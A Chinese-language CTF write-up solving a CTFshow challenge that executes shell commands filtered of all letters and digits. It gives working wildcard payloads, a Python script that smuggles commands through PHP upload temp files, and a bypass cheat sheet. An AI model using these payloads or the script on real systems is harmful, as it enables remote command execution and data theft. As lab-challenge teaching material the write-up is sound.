Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行

无字母数字命令执行(No-alphanumeric RCE)完全解析

靶场:https://0a594fef-edb3-4544-b303-d33e6e6c19dd.challenge.ctf.show/

靶场地址是随机每次重新开启容器都不一样,这里只是用做举例

题目:CTFshow「纯新手」系列 ------ Shell Code Executor

最终 Flag:CTF{no_characters_to_execute_shell_commands_he3e}

本文面向"代码不太熟"的新手,每一步都有「为什么这么做」和「可以自己复现的命令」。


一、先别急着打 payload:搞清这道题到底在问什么

页面长这样(我抓到的真实源码):

html 复制代码
<form method="POST">
    <textarea name="code" placeholder="whoami"></textarea>
    <button type="submit">Execute Code</button>
</form>
  • 你提交一个参数叫 code
  • 后端把它当成 shell 命令 去执行(不是 PHP 的 eval)
  • 但后端在执行前做了一次 过滤/黑名单检查

输入 whoami 的结果:

复制代码
Error: Invalid shell code!

所以题目名「无字母数字命令执行」的意思是:

你有一台 shell 可以随便用,但是你的命令里不允许出现任何一个字母(a-z A-Z)或数字(0-9)。

请你想办法依然把 flag 读出来。

这就是题型定义。难点只有一个:不许写字。


二、第一步必做:把过滤规则摸清楚(别猜,要测)

很多人一上来就套网上 payload,失败后完全不知道为什么。正确做法是先做"字符集测绘":

逐个符号发过去,看哪些能通过:

输入 结果
a / z / A / Z ❌ Invalid shell code!
0 / 9 ❌ Invalid shell code!
? * / . $ ` ; & % ~` `^` `(` `)` `[` `]` `{` `}` `<` `>` `+` `-` `!` `@` `#` `:` `,` `'` `` `````

结论(本题关键事实 1):

  • 禁止 :大小写字母 + 数字(等价于常见正则 /[a-z0-9]/i)
  • 允许 :所有标点符号/特殊字符

📌 这一条决定了后面所有手法。比如网上常见的 $'\154\163'(八进制拼出 ls)在这里用不了,因为里面有数字!

新手要点:每一次 CTF 都要重新做这一步。不同题目的白名单不一样,靠猜必翻车。


三、第二步:判断后端是 eval 还是 system(最容易忽略的一步)

同样是"传字符串去执行",PHP 里有两条完全不同的路:

后端 语言 可用手法
eval($code) PHP 语法 取反 ~、异或 ^、自增 $_++、短标签 ?><?=
system($code) Shell 语法 通配符 ? *、source .、重定向 >、环境变量

如果判断错了,你写的 payload 属于另一套语言,必然失败。

怎么判断?用一个"语法炸弹"

我提交了一个单独的 <:

复制代码
输入: <
输出: < execute success!

原理:

  • 如果是 eval("<") → PHP 解析语法错误 → 页面直接崩/不会打印成功 → 不可能出现 "execute success"
  • 如果是 system("<") → shell 收到 < 只是报个错到 stderr → 脚本继续走,于是照样打印 "execute success"

结论(关键事实 2):这是 system(),也就是说我们要打的是 Shell 语法,不是 PHP。

后来我又验证了一次,彻底坐实(见第七节): 提交 /???/??????,页面吐出:

复制代码
bzdiff: /dev/mqueue not found or not a regular file

有真实的 Linux 命令报错 → 铁证:system()。

⚠️ 顺手避一个坑:回显是骗人的

这个页面不管你输什么都打印:

复制代码
<你提交的内容> execute success!

就算命令执行失败了,它照样说 success 。所以别看 "success" 判断成功与否,

真正的命令输出出现在 "execute success" 这一行的上面。


四、核心杀器:理解 Shell 通配符的"第一个就是命令"

这道题的题眼就是这个 Linux shell(bash/dash)的行为:

当你在 shell 里写一个含通配符的词,它会先展开 成多个文件路径;

展开后的第 1 个被当成命令,其余全部变成参数。

举例,假设 /bin 下有 awk cat sed:

复制代码
/???/???     →  展开为  /bin/awk  /bin/cat  /bin/sed
                        ↑ 命令    ↑ 参数1    ↑ 参数2

于是:我们不用写字母,也能"选命令" ------ 唯一的选择手段是 ? 的个数,也就是文件名长度。

写法 含义
? 匹配任意 1 个字符
* 匹配任意长度(含 0)任意字符
/???/ 根目录下名字长度为 3 的目录 → /bin/、/tmp/、/etc/、/dev/ ...
/???/??? 目录 3 字 + 文件 3 字 → /bin/awk、/bin/cat、/etc/ssl...

副作用(新手务必记住) :

由于是按字典序 展开,被执行的是匹配到的第一条 。

所以你没法随意指定 "跑 cat",只能控制长度,赌该目录下字典序第一个是谁。

我在这台机器上实测的长度表(不同机器不一样,建议自己扫一遍):

payload 实际命中 表现
/???/?? cp 一类 无输出
/???/??? 能打印文件内容的命令(疑似 cat 一类) 有输出 ✅ 解题关键
/???/???? bash 一类 无输出
/???/?????? bzdiff 报错回显 ✅ 好用的探针

五、第三步:找到 flag 文件在哪(没有 ls 怎么办?)

因为不能写 ls 这种字母,传统的"列目录"做不到。怎么办?两个思路:

  1. 用长度通配符猜 :常见的 flag 文件名就那么几个 flag、flag.php、flag.txt,
    对应相对路径长度 4 / 8 / 8。
  2. 利用"报错回显"当信息源(见第七节)。

我用的就是思路 1:在当前目录里按长度枚举。


六、解法一(我实测通过,最简单):直接把 flag.php 读出来

🎯 最终 payload

复制代码
/???/??? ????????

注意第二个参数前面是空格,是相对路径(相对当前工作目录,也就是网站根目录)。

逐段拆解

复制代码
/???/???      ????????
   │             │
   │             └─ 相对路径:当前目录下"名字长度 = 8"的文件
   │                当前目录只有两个文件:
   │                  flag.php   ← 8 个字符 ✅ 命中
   │                  index.php  ← 9 个字符 ✗ 不匹配
   │
   └─ 绝对路径:3 字目录 + 3 字文件
      → 展开后取字典序第一条,在这台机器上
        恰好是"一条能把文件内容打印到页面的命令"

执行结果(我从返回的 HTML 里 grep 出来的):

复制代码
CTF{no_characters_to_execute_shell_commands_he3e}

为什么输出里混着一大坨乱码?

因为 /???/??? 这一个词会展开成好几个词:

复制代码
/???/???   →   命令  参数1  参数2 ...
                └ 它被同时喂进了好几个文件的路径

所以它会把这些文件的内容一起打印出来 (约 1.6MB 噪音),

我们的 flag 就夹在这堆乱码中间。往上翻就能看到。

⚠️ 两个实测出来的坑

  1. 别乱加 < :< 重定向到一个不存在的文件时,整条命令会直接不执行,输出为 0。
    我试过 /???/??? </!!! 和 < /???/??????,结果都是一片空白。
  2. 参数里别带目录 :一旦展开的参数里混进目录,这条命令会直接吐 0 字节
    (比如 /???/??? /???/???? 就没有输出)。
    所以用当前目录的相对短通配(只有几个文件)最稳,这正是解法一的核心思路。

举一反三:同一个套路能读别的长度

payload 读到什么
/???/??? ???????? flag.php(8 字符)→ flag
/???/??? ????????? index.php(9 字符)→ 拿到题目源码!

💡 第二个很有教学价值:我用它把 index.php 的源码原样取出来了,

你以后做任何题都可以先想办法把源码读出来,比猜源码快一万倍。


七、解法二(网上主流 writeup 的打法):上传文件 + source 临时文件

这是别人博客里的解法,思路更"通用",建议也学会,

因为它不依赖"运气好碰到一个读文件的命令"。

原理三步走

① PHP 有个隐藏的免费功能

就算页面长得只有一个输入框,只要你用 multipart/form-data(文件上传格式)发请求,

PHP 也会自动把上传的文件先存成一个临时文件:

复制代码
/tmp/phpXXXXXX        ← "php" 前缀 + 6 位随机字符 = 文件名共 9 个字符

这个临时文件在本次请求执行期间一直存在。

② shell 里的 . = source

. 文件名 会把这个文件当成 shell 脚本在当前 shell 里逐行执行。

重点是:不需要文件有可执行权限(纯文本也能跑)。

③ 用通配符把那个临时文件摸出来

复制代码
. /???/????????[@-[]
片段 含义
. source,执行脚本
/???/ 名字 3 个字的目录 → 里面就有 /tmp/
???????? 8 个任意字符
[@-[] 字符范围:从 @(ASCII 64) 到 [(ASCII 91) → 包含 @、A-Z、[

最后那个 [@-[] 是整段 payload 最骚的地方:

它用一个纯符号的范围,表达了"大写字母 A-Z",从而绕开了"不许写字"的限制!

组合起来第 9 个字符必须是大写字母/符号 ------ 正好挑出 /tmp/phpXXXXXX

(前提是随机数最后一位正好是大写,所以可能要多试几次,人家 writeup 里也说了要"爆破")。

④ 上传的文件内容你自己随便写,所以不再受"不能写字"限制

比如上传内容写 cat flag.php,再 source 它,就等于执行了 cat flag.php。

完整利用脚本

python 复制代码
import requests, re

url = "https://0a594fef-edb3-4544-b303-d33e6e6c19dd.challenge.ctf.show/"

def run(cmd):
    # 把想执行的命令作为"上传的文件内容"送进去(content 不受过滤限制)
    files = {"file": ("x", cmd, "text/plain")}
    data  = {"code": ". /???/????????[@-["}   # 去 source 那个临时文件
    r = requests.post(url, files=files, data=data, timeout=10)
    return r.text

for cmd in ["whoami", "ls -la", "cat flag.php"]:
    t = run(cmd)
    m = re.search(r'CTF\{[^}]+\}', t)
    print(">", cmd, "→", m.group(0) if m else "本条未出 flag(临时文件末位随机,重试即可)")

⚠️ 我在这台机器上试了几次没命中,原因是这台机器的 PHP 临时文件名随机串不一定以大写结尾 ,

这正是本节要告诉你的现实:payload 依赖环境,要会根据反馈调整 。

所以我实际是用解法一拿到 flag 的。


八、把这个挂在 . 上的同类技巧一次性打包给你

1. 用字符范围"合法地"表达字母

不用写字,也能框出字母所在的范围:

写法 覆盖的 ASCII 能表达什么
[@-[] 64--91 大写字母 A-Z(还有 @ [)
[ -~] 32--126 所有可打印字符(等价通配)
[!-/] 33--47 纯标点

2. ? 个数 = 精确的长度筛选

复制代码
????????   → 正好 8 个字符的名字(如 flag.php)
?????????  → 正好 9 个字符的名字(如 index.php)

3. 相对路径 >> 绝对路径

根目录子目录太多,竞争者多。

用相对路径(直接在当前目录匹配)可以把候选压缩到个位数,这是本题解法一能成功的关键。

4. 信息收集类技巧(没 ls 时)

  • 报错回显 :故意让命令处理不该处理的东西,错误信息会泄露路径
    (我拿到的 bzdiff: /dev/mqueue not found 就是这么来的)
  • 长度枚举 :从 1 到 12 挨个试 ?,看输出变化
  • 读源码优先 :拿到 index.php 比什么都强

5. 常见替代手法速查(其他题会用得上)

场景 手法 例子
后端是 eval(PHP) 取反 ?><?=~"\xa0\xb0\xba\...";?>
后端是 eval 自增构造字符 $_++;$_++; 拼出字母
后端是 eval 异或 两个非字母字符 ^ 出字母
后端是 system(Shell) 通配符执行命令 /???/??? 本题
后端是 system source 临时文件 . /???/????????[@-[]
后端是 system 空格被过滤时 ${IFS}、$IFS$9
后端是 system 重定向写文件 >文件名 创建空文件

注意:带数字/字母的写法(如 $'\154' 八进制、$IFS)在禁数字的题目里会失效------本题就失效了。


九、方法论清单:以后遇到"某某被过滤的命令执行",照这个顺序打

  1. 看清入口 :参数名叫什么?(本题 code)页面形式?
  2. 测绘字符集 :逐符号测,得出"允许/禁止"清单。最重要,别偷懒。
  3. 判断后端语言 :eval(PHP)还是 system(Shell)?
    用不合语法的输入试探 + 看是否有真实命令报错。
  4. 确认回显:输出在哪?stderr 看得到吗?有没有骗人的 "success"?
  5. 列出绕过候选:从上节表格里挑适合这道题的那一两种。
  6. 先读源码、再读 flag:想办法把 PHP 源码弄出来,比盲打快。
  7. 环境依赖的实时 payload 要有重试/爆破(如临时文件末位随机)。

十、答案

复制代码
CTF{no_characters_to_execute_shell_commands_he3e}

最小 payload(直接贴到输入框 Execute 即可):

复制代码
/???/??? ????????

输出里混了一大坨乱码是正常的(它会连带打印通配命中的其他文件),

乱翻一翻,flag 就在那堆内容里 ;用浏览器的查找功能搜 CTF{ 最快。


附:一句话总结这题为什么叫"难度极低"

它没有考你会不会写复杂的绕过代码,只考一件事:

知道 shell 会把通配符展开后的第一个结果当成命令,剩下的当成参数。

知道这一点,剩下就是数 ? 的个数而已。

相关推荐
小羊没烦恼!1 小时前
在.net中读写config文件的各种方法
java·大数据·运维·服务器·前端·数据库·oracle
2601_962885721 小时前
如何用 Python 获取上证指数、沪深300、中证500 等指数行情?
开发语言·python
技术卷1 小时前
DeepSeek 部分 API 中断事件:重要细节与事实
人工智能·后端·网络安全
昔我往昔1 小时前
LangChain_RAG_学习小结
后端·python
终端安全笔记1 小时前
绕过工具把 iOS 27 列进支持范围:从它的更新节奏能读出什么
安全·ios
张张123y1 小时前
后端第六课:Python 语法速通(0 基础入门,AI 应用开发的第一门语言)
开发语言·人工智能·python·ai·后端开发
@PHARAOH1 小时前
WHAT - Vite 8(Rolldown 底层构建引擎升级)
前端·架构
小马不起床1 小时前
Django 后端实战指南_10:用户扩展档案信息表
python·django·sqlite
Want5951 小时前
Python跳动的爱心①
开发语言·python·数学建模